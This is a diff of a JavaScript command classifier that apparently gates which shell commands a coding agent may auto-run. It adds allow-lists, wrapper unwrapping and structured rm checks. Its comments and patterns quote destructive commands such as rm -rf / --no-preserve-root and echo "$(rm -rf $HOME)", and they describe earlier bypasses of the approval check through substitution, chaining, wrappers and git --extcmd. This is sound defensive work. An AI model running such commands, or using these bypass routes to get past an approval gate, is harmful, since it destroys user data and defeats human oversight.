* The drivers themselves must never appear in READ_ONLY_COMMANDS: `npm run`,
|
|
144
|
+
* `npm exec`, `yarn <script>`, `pnpm run`, `cargo run` and `npx <pkg>` all
|
|
145
|
+
* execute arbitrary project-defined or freshly downloaded code, so the safe
|
|
146
|
+
* surface has to be enumerated rather than subtracted.
|
|
147
|
+
*/
|
|
148
|
+
exports.READ_ONLY_SUBCOMMANDS = {
|
|
149
|
+
git: [
|
|
150
|
+
'status',
|
|
151
|
+
'log',
|
|
152
|
+
'diff',
|
|
153
|
+
'show',
|
|
154
|
+
'branch',
|
|
155
|
+
'tag',
|
|
156
|
+
'remote',
|
|
157
|
+
'rev-parse',
|
|
158
|
+
'ls-files',
|
|
159
|
+
'ls-tree',
|
|
160
|
+
],
|
|
161
|
+
npm: ['list', 'ls', 'info', 'view', 'search', 'outdated', 'why'],
|
|
162
|
+
yarn: ['list', 'info', 'why'],
|
|
163
|
+
pnpm: ['list', 'ls', 'info', 'why', 'outdated'],
|
|
164
|
+
cargo: ['tree', 'metadata', 'search'],
|
|
165
|
+
pip: ['list', 'show', 'freeze'],
|
|
166
|
+
pip3: ['list', 'show', 'freeze'],
|
|
167
|
+
};
|
|
168
|
+
/**
|
|
169
|
+
* git options that hand execution to an external program or write a file,
|
|
170
|
+
* whichever sub-command they are attached to.
|
|
171
|
+
*/
|
|
172
|
+
const GIT_UNSAFE_OPTIONS = /(^|\s)--(ext-diff|extcmd|output|exec-path|upload-pack|receive-pack)\b/;
|
|
173
|
+
/**
|
|
174
|
+
* `git branch` / `git tag` only list when they are given nothing but these
|
|
175
|
+
* flags. Any other argument may create, move or delete a ref, so the allow-list
|
|
176
|
+
* is deliberately valueless flags only -- `git branch --contains HEAD` reads,
|
|
177
|
+
* but prompting for it is far cheaper than letting `git branch -D main` through.
|
|
178
|
+
*/
|
|
179
|
+
const GIT_LISTING_FLAGS = {
|
|
180
|
+
branch: /^(-a|--all|-r|--remotes|-v|-vv|--verbose|-l|--list|--no-color|--color(=.+)?|--sort=.+|--format=.+)$/,
|
|
181
|
+
tag: /^(-l|--list|-n\d*|-i|--ignore-case|--no-color|--color(=.+)?|--sort=.+|--format=.+)$/,
|
|
182
|
+
};
|
|
183
|
+
/** `git remote` reads with no argument, or via these two sub-sub-commands. */
|
|
184
|
+
const GIT_REMOTE_READ_ONLY_ACTIONS = new Set(['show', 'get-url']);
|
|
139
185
|
/**
|
|
140
186
|
* Validation commands that are safe enough to run without an interactive
|
|
141
187
|
* confirmation prompt. They may read the project and execute local test code,
|
|
142
188
|
* but they are standard verification steps for coding-agent work.
|
|
189
|
+
*
|
|
190
|
+
* Deliberately excludes network-pulling and script-executing commands:
|
|
191
|
+
* - `npx <pkg>` fetches and runs an arbitrary package from the registry → RCE.
|
|
192
|
+
* - `npm test` / `yarn test` / `pnpm test` run project-defined scripts, which
|
|
193
|
+
* a poisoned package.json can weaponize into silent code execution.
|
|
194
|
+
* Both classes are therefore treated as caution and require confirmation
|
|
195
|
+
* (issue #64). Local `tsc --noEmit` is kept (no remote fetch); `npm run
|
|
196
|
+
* build/lint/typecheck/check` are local scripts and retained.
|
|
143
197
|
*/
|
|
144
198
|
exports.VALIDATION_COMMAND_PATTERNS = [
|
|
145
|
-
/^
|
|
146
|
-
/^
|
|
147
|
-
/^(
|
|
148
|
-
/^(npm|pnpm|yarn)\s+run\s+(test|lint|typecheck|check)(\s|$)/,
|
|
149
|
-
/^pnpm\s+(test|lint|typecheck|check)(\s|$)/,
|
|
150
|
-
/^yarn\s+(test|lint|typecheck|check)(\s|$)/,
|
|
199
|
+
/^tsc\b.*--noEmit\b/,
|
|
200
|
+
/^npm\s+run\s+(lint|typecheck|check|build)(\s|$)/,
|
|
201
|
+
/^(pnpm|yarn)\s+(lint|typecheck|check)(\s|$)/,
|
|
151
202
|
];
|
|
152
203
|
/**
|
|
153
204
|
* Dangerous command patterns that should always be blocked or require confirmation.
|
|
154
205
|
*/
|
|
155
206
|
exports.DANGEROUS_PATTERNS = [
|
|
156
|
-
// Filesystem destruction
|
|
207
|
+
// Filesystem destruction.
|
|
208
|
+
// NOTE: these literal forms are a backstop only. Flag order, long options and
|
|
209
|
+
// trailing arguments all defeat them, so the authoritative check is the
|
|
210
|
+
// structured one in findDestructiveRmTarget(); see checkDangerousCommand().
|
|
157
211
|
{ pattern: /rm\s+-rf\s+\/$/, reason: 'Attempting to delete root directory' },
|
|
158
212
|
{ pattern: /rm\s+-rf\s+~$/, reason: 'Attempting to delete home directory' },
|
|
159
213
|
{ pattern: /rm\s+-rf\s+\*/, reason: 'Attempting to delete all files in current directory' },
|
|
@@ -195,15 +249,167 @@ exports.POTENTIALLY_DESTRUCTIVE_PATTERNS = [
|
|
|
195
249
|
/curl.*>\s*\//,
|
|
196
250
|
/wget.*-O\s*\//,
|
|
197
251
|
];
|
|
252
|
+
/** The one redirect target that does not count as writing to the filesystem. */
|
|
253
|
+
const DISCARD_REDIRECT_TARGET = '/dev/null';
|
|
254
|
+
/**
|
|
255
|
+
* Split a command line into the individual commands it will actually run.
|
|
256
|
+
*
|
|
257
|
+
* The classifier below hands out "run without confirmation" verdicts, so it has
|
|
258
|
+
* to see every command on the line rather than just the leading token. Quote
|
|
259
|
+
* state is tracked so `echo "a && b"` stays one segment, and substitutions are
|
|
260
|
+
* reported as unsupported instead of being silently skipped over.
|
|
261
|
+
*/
|
|
262
|
+
function scanShellCommand(cmd) {
|
|
263
|
+
const segments = [];
|
|
264
|
+
let current = '';
|
|
265
|
+
let supported = true;
|
|
266
|
+
let writesFile = false;
|
|
267
|
+
let inSingleQuote = false;
|
|
268
|
+
let inDoubleQuote = false;
|
|
269
|
+
const pushSegment = () => {
|
|
270
|
+
const segment = current.trim();
|
|
271
|
+
if (segment.length > 0) {
|
|
272
|
+
segments.push(segment);
|
|
273
|
+
}
|
|
274
|
+
current = '';
|
|
275
|
+
};
|
|
276
|
+
for (let i = 0; i < cmd.length; i++) {
|
|
277
|
+
const ch = cmd[i];
|
|
278
|
+
const next = cmd[i + 1];
|
|
279
|
+
if (ch === '\\' && !inSingleQuote && next !== undefined) {
|
|
280
|
+
current += ch + next;
|
|
281
|
+
i++;
|
|
282
|
+
continue;
|
|
283
|
+
}
|
|
284
|
+
if (ch === "'" && !inDoubleQuote) {
|
|
285
|
+
inSingleQuote = !inSingleQuote;
|
|
286
|
+
current += ch;
|
|
287
|
+
continue;
|
|
288
|
+
}
|
|
289
|
+
if (ch === '"' && !inSingleQuote) {
|
|
290
|
+
inDoubleQuote = !inDoubleQuote;
|
|
291
|
+
current += ch;
|
|
292
|
+
continue;
|
|
293
|
+
}
|
|
294
|
+
if (inSingleQuote) {
|
|
295
|
+
// Single quotes disable every expansion, so the contents stay inert.
|
|
296
|
+
current += ch;
|
|
297
|
+
continue;
|
|
298
|
+
}
|
|
299
|
+
if (inDoubleQuote) {
|
|
300
|
+
// Double quotes only suppress globbing and word splitting -- bash still
|
|
301
|
+
// expands `$(...)` and backticks inside them. Skipping the substitution
|
|
302
|
+
// check here made `echo "$(rm -rf $HOME)"` classify as safe/read-only and
|
|
303
|
+
// auto-approve, i.e. a straight command-execution bypass.
|
|
304
|
+
if (ch === '`' || (ch === '$' && next === '(')) {
|
|
305
|
+
supported = false;
|
|
306
|
+
}
|
|
307
|
+
current += ch;
|
|
308
|
+
continue;
|
|
309
|
+
}
|
|
310
|
+
// Command and process substitution can hide an arbitrary command inside an
|
|
311
|
+
// otherwise innocent-looking line, and neither is worth modelling here.
|
|
312
|
+
if (ch === '`' ||
|
|
313
|
+
(ch === '$' && next === '(') ||
|
|
314
|
+
((ch === '<' || ch === '>') && next === '(')) {
|
|
315
|
+
supported = false;
|
|
316
|
+
current += ch;
|
|
317
|
+
continue;
|
|
318
|
+
}
|
|
319
|
+
if (ch === ';' || ch === '\n') {
|
|
320
|
+
pushSegment();
|
|
321
|
+
continue;
|
|
322
|
+
}
|
|
323
|
+
if ((ch === '&' && next === '&') || (ch === '|' && next === '|')) {
|
|
324
|
+
pushSegment();
|
|
325
|
+
i++;
|
|
326
|
+
continue;
|
|
327
|
+
}
|
|
328
|
+
if (ch === '&' || ch === '|') {
|
|
329
|
+
pushSegment();
|
|
330
|
+
continue;
|
|
331
|
+
}
|
|
332
|
+
if (ch === '>') {
|
|
333
|
+
let cursor = i + 1;
|
|
334
|
+
if (cmd[cursor] === '>') {
|
|
335
|
+
cursor++;
|
|
336
|
+
}
|
|
337
|
+
if (cmd[cursor] === '&') {
|
|
338
|
+
// `>&1` / `2>&1` duplicate a descriptor and `>&-` closes one; nothing
|
|
339
|
+
// reaches the filesystem. Consume the whole reference so its `&` is not
|
|
340
|
+
// mistaken for a background-job separator.
|
|
341
|
+
let end = cursor + 1;
|
|
342
|
+
while (end < cmd.length && cmd[end] >= '0' && cmd[end] <= '9') {
|
|
343
|
+
end++;
|
|
344
|
+
}
|
|
345
|
+
if (cmd[end] === '-') {
|
|
346
|
+
end++;
|
|
347
|
+
}
|
|
348
|
+
current += cmd.slice(i, end);
|
|
349
|
+
i = end - 1;
|
|
350
|
+
continue;
|
|
351
|
+
}
|
|
352
|
+
while (cursor < cmd.length && (cmd[cursor] === ' ' || cmd[cursor] === '\t')) {
|
|
353
|
+
cursor++;
|
|
354
|
+
}
|
|
355
|
+
const target = cmd.slice(cursor).split(/[\s;&|<>]/)[0];
|
|
356
|
+
if (target !== DISCARD_REDIRECT_TARGET) {
|
|
357
|
+
writesFile = true;
|
|
358
|
+
}
|
|
359
|
+
current += ch;
|
|
360
|
+
continue;
|
|
361
|
+
}
|
|
362
|
+
current += ch;
|
|
363
|
+
}
|
|
364
|
+
pushSegment();
|
|
365
|
+
return {
|
|
366
|
+
segments,
|
|
367
|
+
supported: supported && !inSingleQuote && !inDoubleQuote,
|
|
368
|
+
writesFile,
|
|
369
|
+
};
|
|
370
|
+
}
|
|
371
|
+
/**
|
|
372
|
+
* Require every command on the line to satisfy `predicate`.
|
|
373
|
+
*
|
|
374
|
+
* A single unrecognised segment is enough to withhold the auto-approval, which
|
|
375
|
+
* is what stops `echo hi && rm -rf ~` from inheriting `echo`'s verdict.
|
|
376
|
+
*/
|
|
377
|
+
function everySegmentSatisfies(cmd, predicate) {
|
|
378
|
+
const scan = scanShellCommand(cmd.trim());
|
|
379
|
+
if (!scan.supported || scan.writesFile || scan.segments.length === 0) {
|
|
380
|
+
return false;
|
|
381
|
+
}
|
|
382
|
+
return scan.segments.every(predicate);
|
|
383
|
+
}
|
|
198
384
|
/**
|
|
199
385
|
* Check if a command is read-only and safe to execute without confirmation.
|
|
386
|
+
*
|
|
387
|
+
* Every command on the line must be independently read-only.
|
|
200
388
|
*/
|
|
201
389
|
function isReadOnlyCommand(cmd) {
|
|
202
|
-
|
|
390
|
+
return everySegmentSatisfies(cmd, isReadOnlySegment);
|
|
391
|
+
}
|
|
392
|
+
/**
|
|
393
|
+
* Check whether a single command -- with no separators left in it -- is read-only.
|
|
394
|
+
*/
|
|
395
|
+
function isReadOnlySegment(trimmedCmd) {
|
|
203
396
|
// Check exact matches first
|
|
204
397
|
if (exports.READ_ONLY_COMMANDS.includes(trimmedCmd)) {
|
|
205
398
|
return true;
|
|
206
399
|
}
|
|
400
|
+
// A wrapper decides nothing: `env`, `timeout`, `nice` and friends just hand
|
|
401
|
+
// control to whatever follows, so classify that instead. Without this,
|
|
402
|
+
// matching on the head token alone made `env node -e '<code>'` read-only.
|
|
403
|
+
const unwrapped = unwrapCommandWrappers(trimmedCmd.split(/\s+/).filter(Boolean));
|
|
404
|
+
if (unwrapped) {
|
|
405
|
+
// Running as another user is never read-only, however benign the payload.
|
|
406
|
+
if (unwrapped.privileged)
|
|
407
|
+
return false;
|
|
408
|
+
// `env` / `printenv` with no wrapped command just prints the environment.
|
|
409
|
+
if (unwrapped.tokens.length === 0)
|
|
410
|
+
return true;
|
|
411
|
+
return isReadOnlySegment(unwrapped.tokens.join(' '));
|
|
412
|
+
}
|
|
207
413
|
// Check if command starts with a read-only command
|
|
208
414
|
const baseCmd = trimmedCmd.split(' ')[0];
|
|
209
415
|
if (exports.READ_ONLY_COMMANDS.includes(baseCmd)) {
|
|
@@ -215,57 +421,369 @@ function isReadOnlyCommand(cmd) {
|
|
|
215
421
|
if (baseCmd === 'sed' && trimmedCmd.includes('-i')) {
|
|
216
422
|
return false; // sed -i modifies files
|
|
217
423
|
}
|
|
218
|
-
if (baseCmd === 'curl' && (trimmedCmd.includes('>') || /(^|\s)-o\b/.test(trimmedCmd) || /(^|\s)--output\b/.test(trimmedCmd))) {
|
|
219
|
-
return false; // curl with file output (-o/--output/>) writes a file
|
|
220
|
-
}
|
|
221
|
-
if (baseCmd === 'wget' && (trimmedCmd.includes('>') || /(^|\s)-O\b/.test(trimmedCmd) || /(^|\s)--output-document\b/.test(trimmedCmd))) {
|
|
222
|
-
return false; // wget with file output writes a file
|
|
223
|
-
}
|
|
224
424
|
if (baseCmd === 'find' && /(^|\s)-(exec|execdir|ok|okdir|delete)\b/.test(trimmedCmd)) {
|
|
225
425
|
return false; // find -exec/-ok runs arbitrary commands; -delete removes files
|
|
226
426
|
}
|
|
227
|
-
if (baseCmd === 'awk' &&
|
|
427
|
+
if (baseCmd === 'awk' &&
|
|
428
|
+
(/\bsystem\s*\(/.test(trimmedCmd) ||
|
|
429
|
+
/\bgetline\b/.test(trimmedCmd) ||
|
|
430
|
+
trimmedCmd.includes('>'))) {
|
|
228
431
|
return false; // awk can exec (system/getline) or write files (>)
|
|
229
432
|
}
|
|
230
433
|
if (baseCmd === 'sort' && (/(^|\s)-o\b/.test(trimmedCmd) || trimmedCmd.includes('>'))) {
|
|
231
434
|
return false; // sort -o / redirect writes a file
|
|
232
435
|
}
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
436
|
+
return true;
|
|
437
|
+
}
|
|
438
|
+
// Driver commands are read-only only for an explicitly allow-listed
|
|
439
|
+
// sub-command, matched on the exact token.
|
|
440
|
+
return isReadOnlyDriverInvocation(trimmedCmd);
|
|
441
|
+
}
|
|
442
|
+
/**
|
|
443
|
+
* Classify `git`, `npm`, `cargo` and friends by their sub-command.
|
|
444
|
+
*
|
|
445
|
+
* Matching is on the exact sub-command token. The previous implementation used
|
|
446
|
+
* `startsWith`, which let `git difftool --extcmd=...` match the `git diff`
|
|
447
|
+
* entry and run an arbitrary program.
|
|
448
|
+
*/
|
|
449
|
+
function isReadOnlyDriverInvocation(segment) {
|
|
450
|
+
const tokens = segment.split(/\s+/).filter(token => token.length > 0);
|
|
451
|
+
const driver = tokens[0];
|
|
452
|
+
const subcommand = tokens[1];
|
|
453
|
+
const allowed = driver ? exports.READ_ONLY_SUBCOMMANDS[driver] : undefined;
|
|
454
|
+
if (!allowed || !subcommand || !allowed.includes(subcommand)) {
|
|
455
|
+
return false;
|
|
456
|
+
}
|
|
457
|
+
if (driver !== 'git') {
|
|
458
|
+
return true;
|
|
459
|
+
}
|
|
460
|
+
if (GIT_UNSAFE_OPTIONS.test(segment)) {
|
|
461
|
+
return false;
|
|
462
|
+
}
|
|
463
|
+
const args = tokens.slice(2);
|
|
464
|
+
if (subcommand === 'remote') {
|
|
465
|
+
// `git remote [-v]` lists; `git remote show|get-url <name>` reads.
|
|
466
|
+
// Everything else -- add, remove, rename, set-url, prune -- mutates.
|
|
467
|
+
const positional = args.filter(arg => arg !== '-v' && arg !== '--verbose');
|
|
468
|
+
return positional.length === 0 || GIT_REMOTE_READ_ONLY_ACTIONS.has(positional[0]);
|
|
469
|
+
}
|
|
470
|
+
const listingFlags = GIT_LISTING_FLAGS[subcommand];
|
|
471
|
+
if (listingFlags) {
|
|
472
|
+
return args.every(arg => listingFlags.test(arg));
|
|
473
|
+
}
|
|
474
|
+
return true;
|
|
475
|
+
}
|
|
476
|
+
/**
|
|
477
|
+
* Check if a command is a bounded validation command.
|
|
478
|
+
*
|
|
479
|
+
* Segment-aware for the same reason as `isReadOnlyCommand`: without it,
|
|
480
|
+
* `npm test && rm -rf /tmp/x` matches the leading validation pattern and is
|
|
481
|
+
* auto-approved in full.
|
|
482
|
+
*/
|
|
483
|
+
function isValidationCommand(cmd) {
|
|
484
|
+
return everySegmentSatisfies(cmd, segment => exports.VALIDATION_COMMAND_PATTERNS.some(pattern => pattern.test(segment)));
|
|
485
|
+
}
|
|
486
|
+
/**
|
|
487
|
+
* Wrappers that run another command with a modified environment, scheduling
|
|
488
|
+
* class or lifetime. They neither escalate privilege nor change what the
|
|
489
|
+
* wrapped command does, so the *wrapped* command decides the classification.
|
|
490
|
+
*/
|
|
491
|
+
const TRANSPARENT_WRAPPERS = [
|
|
492
|
+
'env',
|
|
493
|
+
'timeout',
|
|
494
|
+
'nice',
|
|
495
|
+
'ionice',
|
|
496
|
+
'stdbuf',
|
|
497
|
+
'setsid',
|
|
498
|
+
'nohup',
|
|
499
|
+
'time',
|
|
500
|
+
'command',
|
|
501
|
+
'builtin',
|
|
502
|
+
'exec',
|
|
503
|
+
'xargs',
|
|
504
|
+
];
|
|
505
|
+
/**
|
|
506
|
+
* Wrappers that escalate privilege. The wrapped command may look read-only, but
|
|
507
|
+
* running it as another user never is, so these never inherit a `safe` verdict.
|
|
508
|
+
*/
|
|
509
|
+
const PRIVILEGE_WRAPPERS = new Set(['sudo', 'doas']);
|
|
510
|
+
/** Wrappers that may precede `rm` without changing what it deletes. */
|
|
511
|
+
const COMMAND_WRAPPERS = new Set([...PRIVILEGE_WRAPPERS, ...TRANSPARENT_WRAPPERS]);
|
|
512
|
+
/**
|
|
513
|
+
* Flags that consume the *following* token as their value, per wrapper.
|
|
514
|
+
*
|
|
515
|
+
* Anything absent here is treated as self-contained, so a value that is
|
|
516
|
+
* attached with `=` (`--unset=PATH`) needs no entry. Getting this wrong in the
|
|
517
|
+
* conservative direction only costs a confirmation prompt; getting it wrong the
|
|
518
|
+
* other way would let a flag value be mistaken for the wrapped binary.
|
|
519
|
+
*/
|
|
520
|
+
const WRAPPER_VALUE_FLAGS = {
|
|
521
|
+
env: new Set(['-u', '--unset', '-C', '--chdir', '-S', '--split-string']),
|
|
522
|
+
timeout: new Set(['-k', '--kill-after', '-s', '--signal']),
|
|
523
|
+
nice: new Set(['-n', '--adjustment']),
|
|
524
|
+
ionice: new Set(['-c', '--class', '-n', '--classdata', '-p', '--pid']),
|
|
525
|
+
stdbuf: new Set(['-i', '--input', '-o', '--output', '-e', '--error']),
|
|
526
|
+
time: new Set(['-f', '--format', '-o', '--output']),
|
|
527
|
+
exec: new Set(['-a']),
|
|
528
|
+
xargs: new Set([
|
|
529
|
+
'-I',
|
|
530
|
+
'-i',
|
|
531
|
+
'--replace',
|
|
532
|
+
'-n',
|
|
533
|
+
'--max-args',
|
|
534
|
+
'-P',
|
|
535
|
+
'--max-procs',
|
|
536
|
+
'-d',
|
|
537
|
+
'--delimiter',
|
|
538
|
+
'-a',
|
|
539
|
+
'--arg-file',
|
|
540
|
+
'-E',
|
|
541
|
+
'-e',
|
|
542
|
+
'--eof',
|
|
543
|
+
'-L',
|
|
544
|
+
'-l',
|
|
545
|
+
'--max-lines',
|
|
546
|
+
'-s',
|
|
547
|
+
'--max-chars',
|
|
548
|
+
]),
|
|
549
|
+
sudo: new Set([
|
|
550
|
+
'-u',
|
|
551
|
+
'--user',
|
|
552
|
+
'-g',
|
|
553
|
+
'--group',
|
|
554
|
+
'-p',
|
|
555
|
+
'--prompt',
|
|
556
|
+
'-D',
|
|
557
|
+
'--chdir',
|
|
558
|
+
'-R',
|
|
559
|
+
'--chroot',
|
|
560
|
+
]),
|
|
561
|
+
doas: new Set(['-u', '-C']),
|
|
562
|
+
};
|
|
563
|
+
/** Wrappers that take positional operands of their own before the command. */
|
|
564
|
+
const WRAPPER_POSITIONAL_OPERANDS = {
|
|
565
|
+
// `timeout DURATION COMMAND ...`
|
|
566
|
+
timeout: 1,
|
|
567
|
+
};
|
|
568
|
+
/** `env env env ...` is pathological, not legitimate; bound the unwrapping. */
|
|
569
|
+
const MAX_WRAPPER_DEPTH = 8;
|
|
570
|
+
/**
|
|
571
|
+
* Peel `env`/`timeout`/`sudo`/... off the head of a segment and return the
|
|
572
|
+
* command that will actually run.
|
|
573
|
+
*
|
|
574
|
+
* Returns null when the segment does not start with a wrapper, so callers can
|
|
575
|
+
* cheaply tell "nothing to do" from "resolved to an empty command".
|
|
576
|
+
*
|
|
577
|
+
* Wrapper-specific operands are skipped so the resolution survives realistic
|
|
578
|
+
* spellings: `env -i FOO=bar node -e '...'`, `timeout -k 1s 5 rm -rf /` and
|
|
579
|
+
* `nice -10 ls` all resolve to `node`, `rm` and `ls` respectively.
|
|
580
|
+
*/
|
|
581
|
+
function unwrapCommandWrappers(tokens) {
|
|
582
|
+
let index = 0;
|
|
583
|
+
let privileged = false;
|
|
584
|
+
let unwrapped = false;
|
|
585
|
+
for (let depth = 0; depth < MAX_WRAPPER_DEPTH; depth++) {
|
|
586
|
+
const head = tokens[index];
|
|
587
|
+
if (head === undefined)
|
|
588
|
+
break;
|
|
589
|
+
// Accept absolute paths: /usr/bin/env is the same wrapper as env.
|
|
590
|
+
const wrapper = head.slice(head.lastIndexOf('/') + 1);
|
|
591
|
+
if (!COMMAND_WRAPPERS.has(wrapper))
|
|
592
|
+
break;
|
|
593
|
+
unwrapped = true;
|
|
594
|
+
if (PRIVILEGE_WRAPPERS.has(wrapper))
|
|
595
|
+
privileged = true;
|
|
596
|
+
index++;
|
|
597
|
+
const valueFlags = WRAPPER_VALUE_FLAGS[wrapper];
|
|
598
|
+
let endOfOptions = false;
|
|
599
|
+
while (index < tokens.length) {
|
|
600
|
+
const token = tokens[index];
|
|
601
|
+
if (!endOfOptions && token === '--') {
|
|
602
|
+
endOfOptions = true;
|
|
603
|
+
index++;
|
|
604
|
+
continue;
|
|
605
|
+
}
|
|
606
|
+
if (!endOfOptions && token.length > 1 && token.startsWith('-')) {
|
|
607
|
+
const flag = token.split('=')[0];
|
|
608
|
+
index += valueFlags?.has(flag) && !token.includes('=') ? 2 : 1;
|
|
609
|
+
continue;
|
|
610
|
+
}
|
|
611
|
+
// `env` accepts any number of NAME=value assignments before the command.
|
|
612
|
+
if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(token)) {
|
|
613
|
+
index++;
|
|
614
|
+
continue;
|
|
615
|
+
}
|
|
616
|
+
break;
|
|
240
617
|
}
|
|
241
|
-
|
|
242
|
-
|
|
618
|
+
let operands = WRAPPER_POSITIONAL_OPERANDS[wrapper] ?? 0;
|
|
619
|
+
while (operands > 0 && index < tokens.length) {
|
|
620
|
+
index++;
|
|
621
|
+
operands--;
|
|
243
622
|
}
|
|
244
|
-
return true;
|
|
245
623
|
}
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
624
|
+
if (!unwrapped)
|
|
625
|
+
return null;
|
|
626
|
+
return { tokens: tokens.slice(index), privileged };
|
|
627
|
+
}
|
|
628
|
+
/**
|
|
629
|
+
* Targets whose deletion is never a legitimate agent action, in the normalised
|
|
630
|
+
* form produced by {@link normalizeRmTarget}.
|
|
631
|
+
*/
|
|
632
|
+
const CATASTROPHIC_RM_TARGETS = new Set([
|
|
633
|
+
'/',
|
|
634
|
+
'~',
|
|
635
|
+
'.',
|
|
636
|
+
'..',
|
|
637
|
+
'*',
|
|
638
|
+
// System roots: wiping any of these bricks the machine just as thoroughly as
|
|
639
|
+
// `/` does, and no build or cleanup step has a reason to touch them.
|
|
640
|
+
'/bin',
|
|
641
|
+
'/boot',
|
|
642
|
+
'/dev',
|
|
643
|
+
'/etc',
|
|
644
|
+
'/lib',
|
|
645
|
+
'/lib64',
|
|
646
|
+
'/opt',
|
|
647
|
+
'/proc',
|
|
648
|
+
'/root',
|
|
649
|
+
'/sbin',
|
|
650
|
+
'/srv',
|
|
651
|
+
'/sys',
|
|
652
|
+
'/usr',
|
|
653
|
+
'/var',
|
|
654
|
+
'/home',
|
|
655
|
+
'/Users',
|
|
656
|
+
'/System',
|
|
657
|
+
'/Library',
|
|
658
|
+
'/Applications',
|
|
659
|
+
]);
|
|
660
|
+
/**
|
|
661
|
+
* Reduce an `rm` operand to a canonical path so that every spelling of the same
|
|
662
|
+
* catastrophic target collapses onto one key: `/`, `/*`, `/**` and `///` all
|
|
663
|
+
* become `/`, and `~/`, `~/*`, `$HOME`, `${HOME}/` all become `~`.
|
|
664
|
+
*/
|
|
665
|
+
function normalizeRmTarget(raw) {
|
|
666
|
+
let target = raw.trim();
|
|
667
|
+
const quote = target[0];
|
|
668
|
+
if ((quote === "'" || quote === '"') && target.endsWith(quote) && target.length > 1) {
|
|
669
|
+
target = target.slice(1, -1).trim();
|
|
670
|
+
}
|
|
671
|
+
target = target.replace(/^\$\{HOME\}/, '~').replace(/^\$HOME/, '~');
|
|
672
|
+
// A trailing glob deletes the directory's contents, which is the same disaster
|
|
673
|
+
// as deleting the directory itself.
|
|
674
|
+
target = target.replace(/\/\*+$/, '/');
|
|
675
|
+
target = target.replace(/\/{2,}/g, '/');
|
|
676
|
+
if (target.length > 1) {
|
|
677
|
+
target = target.replace(/\/+$/, '');
|
|
678
|
+
}
|
|
679
|
+
return target;
|
|
680
|
+
}
|
|
681
|
+
/**
|
|
682
|
+
* Parse a single command segment as an `rm` invocation.
|
|
683
|
+
*
|
|
684
|
+
* Returns null when the segment does not run `rm`. Flags are collected
|
|
685
|
+
* order-independently, so `-rf`, `-fr`, `-r -f` and `--recursive --force` are
|
|
686
|
+
* all recognised as the same request.
|
|
687
|
+
*/
|
|
688
|
+
function parseRmInvocation(segment) {
|
|
689
|
+
const rawTokens = segment.split(/\s+/).filter(token => token.length > 0);
|
|
690
|
+
// Wrappers hide the real binary from a head-token check: without unwrapping
|
|
691
|
+
// their own flags and operands, `timeout 5 rm -rf /` never parses as `rm`.
|
|
692
|
+
const tokens = unwrapCommandWrappers(rawTokens)?.tokens ?? rawTokens;
|
|
693
|
+
let index = 0;
|
|
694
|
+
const binary = tokens[index];
|
|
695
|
+
if (!binary || !/(^|\/)rm$/.test(binary)) {
|
|
696
|
+
return null;
|
|
697
|
+
}
|
|
698
|
+
index++;
|
|
699
|
+
const invocation = {
|
|
700
|
+
recursive: false,
|
|
701
|
+
force: false,
|
|
702
|
+
noPreserveRoot: false,
|
|
703
|
+
targets: [],
|
|
704
|
+
};
|
|
705
|
+
let endOfOptions = false;
|
|
706
|
+
for (; index < tokens.length; index++) {
|
|
707
|
+
const token = tokens[index];
|
|
708
|
+
if (!endOfOptions && token === '--') {
|
|
709
|
+
endOfOptions = true;
|
|
710
|
+
continue;
|
|
711
|
+
}
|
|
712
|
+
if (!endOfOptions && token.startsWith('--')) {
|
|
713
|
+
if (token === '--recursive')
|
|
714
|
+
invocation.recursive = true;
|
|
715
|
+
else if (token === '--force')
|
|
716
|
+
invocation.force = true;
|
|
717
|
+
else if (token === '--no-preserve-root')
|
|
718
|
+
invocation.noPreserveRoot = true;
|
|
719
|
+
continue;
|
|
720
|
+
}
|
|
721
|
+
if (!endOfOptions && token.length > 1 && token.startsWith('-')) {
|
|
722
|
+
for (const flag of token.slice(1)) {
|
|
723
|
+
if (flag === 'r' || flag === 'R')
|
|
724
|
+
invocation.recursive = true;
|
|
725
|
+
else if (flag === 'f')
|
|
726
|
+
invocation.force = true;
|
|
252
727
|
}
|
|
728
|
+
continue;
|
|
253
729
|
}
|
|
730
|
+
invocation.targets.push(token);
|
|
254
731
|
}
|
|
255
|
-
return
|
|
732
|
+
return invocation;
|
|
256
733
|
}
|
|
257
734
|
/**
|
|
258
|
-
*
|
|
735
|
+
* Structured replacement for the literal `rm -rf /` patterns.
|
|
736
|
+
*
|
|
737
|
+
* Returns the normalised target that makes the command catastrophic, or null.
|
|
738
|
+
* Matching on parsed flags and canonicalised operands closes the rewrites that
|
|
739
|
+
* defeat the anchored patterns: `rm -fr /`, `rm -r -f /`,
|
|
740
|
+
* `rm --recursive --force /`, `rm -rf /*` and, most importantly,
|
|
741
|
+
* `rm -rf / --no-preserve-root` -- the only form that actually deletes anything
|
|
742
|
+
* on GNU coreutils.
|
|
259
743
|
*/
|
|
260
|
-
function
|
|
261
|
-
const
|
|
262
|
-
|
|
744
|
+
function findDestructiveRmTarget(cmd) {
|
|
745
|
+
for (const segment of scanShellCommand(cmd).segments) {
|
|
746
|
+
const invocation = parseRmInvocation(segment);
|
|
747
|
+
if (!invocation)
|
|
748
|
+
continue;
|
|
749
|
+
// `rm /` without -r or -f cannot remove a directory, so it is noise rather
|
|
750
|
+
// than a threat. Either flag turns the same operand into a real deletion.
|
|
751
|
+
if (!invocation.recursive && !invocation.force)
|
|
752
|
+
continue;
|
|
753
|
+
for (const target of invocation.targets) {
|
|
754
|
+
if (CATASTROPHIC_RM_TARGETS.has(normalizeRmTarget(target))) {
|
|
755
|
+
return target;
|
|
756
|
+
}
|
|
757
|
+
}
|
|
758
|
+
}
|
|
759
|
+
return null;
|
|
760
|
+
}
|
|
761
|
+
/** Reported when the structured `rm` check fires rather than a literal pattern. */
|
|
762
|
+
const DESTRUCTIVE_RM_PATTERN = /\brm\b/;
|
|
763
|
+
/** Human-readable description of why a normalised target is off-limits. */
|
|
764
|
+
function describeCatastrophicTarget(raw) {
|
|
765
|
+
const normalized = normalizeRmTarget(raw);
|
|
766
|
+
if (normalized === '/')
|
|
767
|
+
return 'the root directory';
|
|
768
|
+
if (normalized === '~')
|
|
769
|
+
return 'the home directory';
|
|
770
|
+
if (normalized === '.' || normalized === '..' || normalized === '*') {
|
|
771
|
+
return 'the current directory contents';
|
|
772
|
+
}
|
|
773
|
+
